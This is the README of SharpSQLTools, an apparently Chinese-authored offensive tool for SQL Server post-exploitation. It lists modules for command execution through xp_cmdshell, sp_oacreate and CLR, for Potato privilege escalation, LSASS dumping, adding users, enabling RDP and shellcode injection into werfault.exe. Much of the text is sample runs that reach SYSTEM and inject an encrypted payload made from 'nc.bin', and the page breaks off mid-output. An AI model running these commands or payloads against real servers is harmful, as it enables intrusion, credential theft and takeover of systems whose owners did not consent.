SharpSQLTools

• 简介

和RcoIl一起写的小工具，可上传下载文件，xp_cmdshell与sp_oacreate双回显和clr加载程序集执行相应操作。功能参考mssqlproxy，由于目前C#还不知如何获取SQL连接的socket，该项目中的mssqlproxy功能目前尚未实现。另外，Clr不适用于一些与线程进程相关的操作。

编译环境为net 4.0

更新日志

• 2021-08-05

  • 添加clr_badpotato
  • 修改原来的clr_potato为clr_efspotato

• 2021-08-04

  • 添加一些clr实现的基本命令：pwd,ls,netstat,ps等等
  • 致谢KevinJClark@csharptoolbox & rabbittb

• 2021-08-03

  • 添加clr_efspotato
  • 致谢zcgonvh@EfsPotato & hl0rey

• 2021-07-10

  • 修复上传bug
  • 修复clr回显bug

• 2021-06-22

  • 添加clr执行命令和程序
  • 添加clr合并文件功能，方便在cmd被拦截时代替copy /b合并文件
  • 修改支持自定义端口

• 2021-05-27

  • 支持shellcode远程加载

• 2021-01-19

  • 支持xp_cmdshell与sp_oacreate双回显
  • 支持clr加载程序集执行
  • 支持上传下载文件

• 2019-12-18

  • 发布最初命令行版

Usage

λ SharpSQLTools.exe

   _____ _                      _____  ____  _   _______          _
  / ____| |                    / ____|/ __ \| | |__   __|        | |
 | (___ | |__   __ _ _ __ _ __| (___ | |  | | |    | | ___   ___ | |___
  \___ \| '_ \ / _` | '__| '_ \\___ \| |  | | |    | |/ _ \ / _ \| / __|
  ____) | | | | (_| | |  | |_) |___) | |__| | |____| | (_) | (_) | \__ \
 |_____/|_| |_|\__,_|_|  | .__/_____/ \___\_\______|_|\___/ \___/|_|___/
                         | |
                         |_|
                                                    by Rcoil & Uknow

Usage:

SharpSQLTools target:port username password database                   - interactive console
SharpSQLTools target:port username password database module command    - non-interactive console

Module:

enable_xp_cmdshell         - you know what it means
disable_xp_cmdshell        - you know what it means
xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
sp_oacreate {cmd}          - executes cmd using sp_oacreate
enable_ole                 - you know what it means
disable_ole                - you know what it means
upload {local} {remote}    - upload a local file to a remote path (OLE required)
download {remote} {local}  - download a remote file to a local path
enable_clr                 - you know what it means
disable_clr                - you know what it means
install_clr                - create assembly and procedure
uninstall_clr              - drop clr
clr_pwd                    - print current directory by clr
clr_ls {directory}         - list files by clr
clr_cd {directory}         - change directory by clr
clr_ps                     - list process by clr
clr_netstat                - netstat by clr
clr_ping {host}            - ping by clr
clr_cat {file}             - view file contents by clr
clr_rm {file}              - delete file by clr
clr_exec {cmd}             - for example: clr_exec whoami;clr_exec -p c:\a.exe;clr_exec -p c:\cmd.exe -a /c whoami
clr_efspotato {cmd}        - exec by EfsPotato like clr_exec
clr_badpotato {cmd}        - exec by BadPotato like clr_exec
clr_combine {remotefile}   - When the upload module cannot call CMD to perform copy to merge files
clr_dumplsass {path}       - dumplsass by clr
clr_rdp                    - check RDP port and Enable RDP
clr_getav                  - get anti-virus software on this machin by clr
clr_adduser {user} {pass}  - add user by clr
clr_download {url} {path}  - download file from url by clr
clr_scloader {code} {key}  - Encrypt Shellcode by Encrypt.py (only supports x64 shellcode.bin)
clr_scloader1 {file} {key} - Encrypt Shellcode by Encrypt.py and Upload Payload.txt
clr_scloader2 {remotefile} - Upload Payload.bin to target before Shellcode Loader
exit                       - terminates the server process (and this session)

功能介绍

支持交互模式与非交互模式，交互模式直接跟目标，用户名和密码即可。非交互模式直接跟模块与命令。

SharpSQLTools target:port username password database                   - interactive console
SharpSQLTools target:port username password database module command    - non-interactive console

xp_cmdshell执行命令

λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX xp_cmdshell master whoami 
[*] Database connection is successful!

nt authority\system

sp_oacreate执行命令

λ SharpSQLTools.exe 192.168.0.102 sa 1qaz@WSX master sp_oacreate master "whoami"
[*] Database connection is successful!

nt service\mssqlserver

clr执行命令

λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_exec whoami
[*] Database connection is successful!
[+] Process: cmd.exe
[+] arguments:  /c whoami
[+] RunCommand: cmd.exe  /c whoami

nt service\mssql$sqlexpress

λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_exec -p c:\windows/system32\whoami.exe
[*] Database connection is successful!
[+] Process: c:\windows/system32\whoami.exe
[+] arguments:
[+] RunCommand: c:\windows/system32\whoami.exe

nt service\mssql$sqlexpress

λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_exec -p c:\cmd.exe -a /c whoami
[*] Database connection is successful!
[+] Process: c:\cmd.exe
[+] arguments:  /c whoami
[+] RunCommand: c:\cmd.exe   /c whoami

nt service\mssql$sqlexpress

clr_efspotato or clr_badpotato

λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_efspotato whoami
[*] Database connection is successful!
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.

[+] Current user: NT AUTHORITY\NETWORK SERVICE
[+] Get Token: 3352
[+] Command : c:\Windows\System32\cmd.exe /c whoami
[!] process with pid: 2012 created.
==============================


nt authority\system

λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_efspotato -p c:\windows/system32\whoami.exe
[*] Database connection is successful!
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.

[+] Current user: NT AUTHORITY\NETWORK SERVICE
[+] Get Token: 3084
[+] Command : c:\windows/system32\whoami.exe
[!] process with pid: 164 created.
==============================


nt authority\system

λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_efspotato -p c:\cmd.exe -a /c whoami
[*] Database connection is successful!
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.

[+] Current user: NT AUTHORITY\NETWORK SERVICE
[+] Get Token: 3124
[+] Command : c:\cmd.exe   /c whoami
[!] process with pid: 2080 created.
==============================


nt authority\system

clr_scloader

λ python Encrypt.py -f nc.bin -k 1234
XorKey: 1234
Result: zXqw0MHa8zQxMnJlcGJhZWd6AuZUerhmUXq4Zil6uGYRerhGYXo8g3t4fgX4egL0nQ5SSDMeE3Xw+z51MPPR2WNzYny6YBO/cw57NeG5s7wxMjN8tPJHU3kz42S6eitwunITfTDi0GJ5zfp1uga7fDDkfgX4egL0nXPy/TxzMvUJ0kbFfTF/EDl3CuVE6mtwunIXfTDiVXW6PntwunIvfTDicr81uns14XNrdWlsam5wanJtcGh7t90ScmbO0mt1aGh7vyPbZMvOzW59j0VABm4BATQxc2V9uNR7td2SMjQxe7rReI4xNDgv85wxV3JgeLvXeLjDco59RRUzzud/vdtaMjUxMmp1ixuzXzHN5mRhfwL9fAPzfM7ye73zesz0ebvydYvYPOvRzeZ8uPVZJHBqf73TerrNcIiqkUVTzOF5s/d0MzIzfYlRXlAxMjM0MXNjdWF6utZmZWR5APJZOWhzY9bNVPRwFWYyNXm/dxAp9DNcebvVYmFzY3Vhc2N9zvJyZHjN+3m483+98HOJTf0NtcvkegLmec35vz9ziTy2L1PL5InDgZNkco6Xp46pzud7t/UaDzJNOLPP0Uc2j3YhQVtbMmp1uOjM4Q==

λ SharpSQLTools.exe 192.168.0.107 sa 1qaz@WSX master clr_scloader zXqw0MHa8zQxMnJlcGJhZWd6AuZUerhmUXq4Zil6uGYRerhGYXo8g3t4fgX4egL0nQ5SSDMeE3Xw+z51MPPR2WNzYny6YBO/cw57NeG5s7wxMjN8tPJHU3kz42S6eitwunITfTDi0GJ5zfp1uga7fDDkfgX4egL0nXPy/TxzMvUJ0kbFfT F/EDl3CuVE6mtwunIXfTDiVXW6PntwunIvfTDicr81uns14XNrdWlsam5wanJtcGh7t90ScmbO0mt1aGh7vyPbZMvOzW59j0VABm4BATQxc2V9uNR7td2SMjQxe7rReI4xNDgv85wxV3JgeLvXeLjDco59RRUzzud/vdtaMjUxMmp1ixuzXzHN5mRhfwL9fAPzfM7ye73zesz0ebvydYvYPOvRzeZ8uPVZJHBqf73TerrNcIiqkUVTzOF5s/d0MzIzfYlRXlAxMjM0MXNjdWF6utZmZWR5APJZOWhzY9bNVPRwFWYyNXm/dxAp9DNcebvVYmFzY3Vhc2N9zvJyZHjN+3m483+98HOJTf0NtcvkegLmec35vz9ziTy2L1PL5InDgZNkco6Xp46pzud7t/UaDzJNOLPP0Uc2j3YhQVtbMmp1uOjM4Q== 1234
[*] Database connection is successful!
[+] EncryptShellcode: zXqw0MHa8zQxMnJlcGJhZWd6AuZUerhmUXq4Zil6uGYRerhGYXo8g3t4fgX4egL0nQ5SSDMeE3Xw+z51MPPR2WNzYny6YBO/cw57NeG5s7wxMjN8tPJHU3kz42S6eitwunITfTDi0GJ5zfp1uga7fDDkfgX4egL0nXPy/TxzMvUJ0kbFfTF/EDl3CuVE6mtwunIXfTDiVXW6PntwunIvfTDicr81uns14XNrdWlsam5wanJtcGh7t90ScmbO0mt1aGh7vyPbZMvOzW59j0VABm4BATQxc2V9uNR7td2SMjQxe7rReI4xNDgv85wxV3JgeLvXeLjDco59RRUzzud/vdtaMjUxMmp1ixuzXzHN5mRhfwL9fAPzfM7ye73zesz0ebvydYvYPOvRzeZ8uPVZJHBqf73TerrNcIiqkUVTzOF5s/d0MzIzfYlRXlAxMjM0MXNjdWF6utZmZWR5APJZOWhzY9bNVPRwFWYyNXm/dxAp9DNcebvVYmFzY3Vhc2N9zvJyZHjN+3m483+98HOJTf0NtcvkegLmec35vz9ziTy2L1PL5InDgZNkco6Xp46pzud7t/UaDzJNOLPP0Uc2j3YhQVtbMmp1uOjM4Q==
[+] XorKey: 1234
[+] StartProcess werfault.exe
[+] OpenProcess Pid: 2508
[+] VirtualAllocEx Success
[+] QueueUserAPC Inject shellcode to PID: 2508 Success
[+] hOpenProcessClose Success


[*] QueueUserAPC Inject shellcode Success, enjoy!

clr_scloader1

λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_scloader1 C:\Users\Public\payload.txt aaaa
[*] Database connection is successful!
[+] EncryptShellcodePath: C:\Users\Public\payload.txt
[+] XorKey: aaaa
[+] StartProcess werfault.exe
[+] OpenProcess Pid: 3232
[+] VirtualAllocEx Success
[+] QueueUserAPC Inject shellcode to PID: 3232 Success
[+] hOpenProcessClose Success


[*] QueueUserAPC Inject shellcode Success, enjoy!

clr_scloader2

λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_scloader2 C:\Users\Public\beacon.bin
[*] Database connection is successful!
[+] ShellcodePath: C:\Users\Public\beacon.bin
[+] StartProcess werfault.exe
[+] OpenProcess Pid: 332
[+] VirtualAllocEx Success
[+] QueueUserAP